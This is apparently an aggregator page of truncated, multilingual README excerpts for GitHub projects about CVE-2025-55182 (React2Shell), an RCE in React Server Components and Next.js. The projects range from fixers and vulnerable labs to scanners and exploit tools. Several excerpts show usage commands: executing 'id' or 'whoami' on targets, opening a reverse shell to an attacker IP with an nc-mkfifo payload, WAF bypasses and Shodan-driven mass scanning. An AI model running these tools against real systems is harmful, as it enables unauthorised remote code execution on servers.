react-cve-2025-55182

fix-react2shell 一个用于检测和修复 React Server Components 与 Next.js 应用中严重 CVE-2025-55182 （React2Shell）漏洞的 CLI 工具。 漏洞详情 CVE-2025-55182 是一个严重的（CVSS 10.0）未认证远程代码执行漏洞，影响范围包括： React Server DOM 软件包 （版本 19.0.0、19.1.0、19.1.1、19.2.0） Next.js （版本 14.3.0-canary.77 至未修补的 15.x 和 16.x） 该漏洞是 React Server Components...

cve-2025-55182-poc-test

Laboratorio de demostración CVE-2025-55182 Next.js / React RSC RCE Este documento proporciona una configuración completa y reproducible para demostrar la ejecución remota de código RCE de CVE-2025-55182 contra un entorno vulnerable de Next.js + React Server Components que se ejecuta dentro de una...

CVE-2025-55182

CVE-2025-55182 易受攻击的应用程序 构建并运行： root@kitploit: docker compose build docker compose run --rm --entrypoint 'npm install' node docker compose run --rm --entrypoint 'npm run build' node docker compose up POC（来自 https://github.com/msanft/CVE-2025-55182）： root@kitploit: node poc.js 实验（使用 unbundled）：...

CVE-2025-55182

CVE-2025-55182 漏洞利用 一个简单的 Python 脚本，通过向应用程序注入 shell 来利用 CVE-2025-55182 中 React Server Components 的漏洞。该脚本已在 Next.js 16.0.6 版本上测试通过。 使用方法 克隆仓库 root@kitploit: git clone https://github.com/ahmedshamsddin/CVE-2025-55182 运行存在漏洞的应用程序 root@kitploit: cd CVE-2025-55182/vulnerable-app npm install npm run de...

CVE-2025-55182

CVE-2025-55182 扫描器 此仓库包含一个用于 CVE-2025-55182 的扫描工具，该漏洞是 React Server Components RSC 中的一个严重远程代码执行（RCE）漏洞。 ⚠️ 免责声明 此工具仅用于教育和授权测试目的。 请勿在您不拥有或未经明确许可测试的系统上使用此工具。作者不对任何滥用行为负责。 分析 有关详细的技术分析，请参阅：https://react2shell.com/ 前提条件 Python 3.x ：运行扫描器所需。 依赖项 ：通过 pip 安装： root@kitploit: pip3 install requests tqdm 使用方...

react-cve-2025-55182-lab

Configuración: root@kitploit: git clone https://github.com/alexandre-briongos-wavestone/react-cve-2025-55182-lab root@kitploit: cd react-cve-2025-55182-lab root@kitploit: sudo docker build -t react-rsc-lab . root@kitploit: sudo docker run -p 3000:3000 react-rsc-lab Explotación: root@kitploit: cur...

React-site-CVE-2025-55182

React Site - CVE-2025-55182 README: Уязвимый Next.js проект React RSC лендинг Это репозиторий с примером многостраничного корпоративного лендинга на Next.js 15.0.0 + React 19.0.0. Сайт имитирует структуру вроде t1.ru: главная, продукты, кейсы, медиа, о компании, контакты. Используем React Server...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478 CVE-2025-66478 Next.js 漏洞扫描器。检测网站是否使用了受 RSC（React Server Components）RCE 漏洞影响的 Next.js 版本。 安装和运行 使用 uv（推荐） uv 是一个快速的 Python 包管理器。 1. 安装 uv root@kitploit: macOS/Linux curl -LsSf https://astral.sh/uv/install.sh | sh Windows PowerShell powershell -ExecutionPolic...

CVE-2025-55182

🚨 CVE-2025-55182 — React2Shell CVE-2025-55182 は、React Server Components RSC に影響を与える深刻な リモートコード実行 RCE の脆弱性です。 📌 概要 この脆弱性により、認証されていない攻撃者 が脆弱なサーバー上で任意のコードを実行できるようになります。 問題は、React Server Component Server Function エンドポイントにおける安全でないデシリアライゼーション に起因します。不適切なバリデーションにより、特別に細工されたリクエストが悪意のあるペイロードを実行することを許容します。...

CVE-2025-55182

React2Shell Ultimate Scanner 用于 CVE-2025-55182 的专业 Next.js RSC RCE 漏洞扫描器 🎯 概述 React2Shell Ultimate 是一款针对 CVE-2025-55182 的综合性漏洞扫描器——该漏洞是影响使用 React Server Components（RSC）的 Next.js 应用程序的严重远程代码执行（RCE）漏洞。 模板 PoC 🚀 快速开始 root@kitploit: 执行命令 ./curlid.sh -d https://target.com -c id ⚠️ 法律免责声明 仅限授权安全测试...

CVE-2025-55182

Next.js React 服务端组件 RCE 漏洞利用 通过原型污染利用 CVE-2025-55182 实现远程代码执行。 安装 root@kitploit: uv sync 使用方法 命令执行 root@kitploit: source .venv/bin/activate python3 exploit.py -u https://example.com -c "id" 反弹 Shell root@kitploit: python3 exploit.py -u https://example.com -r -l YOURIP -p 4444 -P nc-mkfifo 选项 -u,...

cve-2025-66478

CVE-2025-55182 该仓库提供了一个最小化故意漏洞环境，用于测试安全扫描器针对最近影响 React Server Components 和 Next.js 的严重 RCE 漏洞。 !Warning 此设置故意存在漏洞，绝不能暴露在公共互联网或用于生产环境。 这是什么 此应用是一个非常小的 Next.js 项目，它： 锁定易受攻击的版本 ： next: 16.0.6 react: 19.2.0 react-dom: 19.2.0 使用最小 NextJS 配置，包含 app 路由和 React 服务器操作 如何运行 root@kitploit: docker run --rm -p...

React2Shell-CVE-2025-55182-Advanced-Scanner

CVE-2025-55182 高级扫描器 用于检测和利用 Next.js 应用程序中 CVE-2025-55182 漏洞的高级渗透测试工具 📋 目录 概述 功能 安装 使用 示例 绕过技术 技术细节 免责声明 贡献 许可证 🔍 概述 CVE-2025-55182 是一个影响 Next.js 应用程序（通过 React 服务器组件）的严重远程代码执行（RCE）漏洞。该扫描器提供了一种自动化的方式来检测和利用此漏洞，并包含多种 WAF 绕过技术。 CVSS 评分：9.8（严重） ✨ 功能 多种载荷变体：不同的利用模式 WAF 绕过技术：8 种不同的绕过方法 自定义命令执行：执行任意系统命令...

POC-CVE-2025-55182

CVE-2025-55182 扫描器 用于检测和利用 Next.js 应用程序中 CVE-2025-55182（React 服务器组件 RCE）漏洞的简单命令行工具。 安装 root@kitploit: chmod +x scanner.sh 用法 root@kitploit: Scan with default command id ./scanner.sh -d example.com Execute custom command ./scanner.sh -d example.com -c "whoami" With full URL ./scanner.sh -d...

POC2-CVE-2025-55182

React2Shell Ultimate - Escáner CVE-2025-66478 El escáner más completo para la vulnerabilidad de Ejecución Remota de Código en Next.js RSC root@kitploit: ╔════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | || / || | | | | ║ ║ | | / / |/ | | / /\ | ' \ / \ | | ║...

R2S_CVE-2025-55182

CVE-2025-55182 扫描器 用于 CVE-2025-55182 的漏洞扫描器 - Next.js 服务器操作中的远程代码执行。 关于 CVE-2025-55182 严重性: 严重 CVSS 待定 受影响版本: Next.js: 15.x 15.5.7, 16.0.x 16.0.7 React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 影响: 远程攻击者可以在运行易受攻击的 Next.js 应用（启用了服务器操作）的服务器上执行任意代码。该漏洞源于 React 服务器组件协议中对原型污染的不当处理。 修复版本: Next.js: ≥15.5.7 或...

CVE-2025-55182-NextJS-Scanner-React2Shell-PoC

CVE-2025-55182 漏洞利用工具 一个全面的安全研究工具，用于测试 Next.js React Server Components 远程代码执行漏洞（CVE-2025-55182）。 概述 该工具包为 CVE-2025-55182 提供自动化检测与利用能力，CVE-2025-55182 是一个影响使用 React Server Components 的 Next.js 应用程序的严重 RCE 漏洞。该工具包包含三个集成组件： NextApp.py - 智能 Next.js 应用指纹识别扫描器 exploit.sh - 灵活的利用工具，支持单个或批量目标...

React2Shell_cve-2025-55182

React Server Components RCE - CVE-2025-55182 你好！希望你今天过得愉快！😊✨ 这是什么？ React Server Components 版本 19.0.0 、19.1.0 、19.1.1 和 19.2.0 存在一个严重的安全问题。受影响的包包括 react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。 问题在于服务器以不安全的方式读取请求中的数据。攻击者可以发送特殊数据，从而在服务器上执行他们的命令。 概念验证 - 完整攻击示例...

CVE-2025-55182-poc

CVE-2025-55182 - React 服务端组件原型链漏洞 本 PoC 使用实际的 [email protected] 漏洞代码演示 CVE-2025-55182。 快速开始 root@kitploit: 安装依赖 npm install 启动漏洞服务器（端口 3002） npm start 运行 RCE 利用 npm run exploit 预期输出 root@kitploit: === CVE-2025-55182 - RCE via vm.runInThisContext === Test 1: Direct call to vmrunInThisContext...

PoC-RCE-CVE-2025-55182

🔥 RSC RCE Exploit Toolkit React Server Components リモートコード実行脆弱性向け高度なエクスプロイトツールキット 認可されたペネトレーションテストおよびセキュリティ研究専用 特徴 • インストール • 使用方法 • Shodan連携 • 例 • 免責事項 📋 目次 概要 脆弱性の詳細 特徴 インストール クイックスタート 使用方法 基本エクスプロイト 利用可能なペイロード カスタムペイロード Shodan連携 自動スキャン 例 緩和策 影響を受けるバージョン 貢献 免責事項 ライセンス 🎯 概要 このツールキットは、React Server...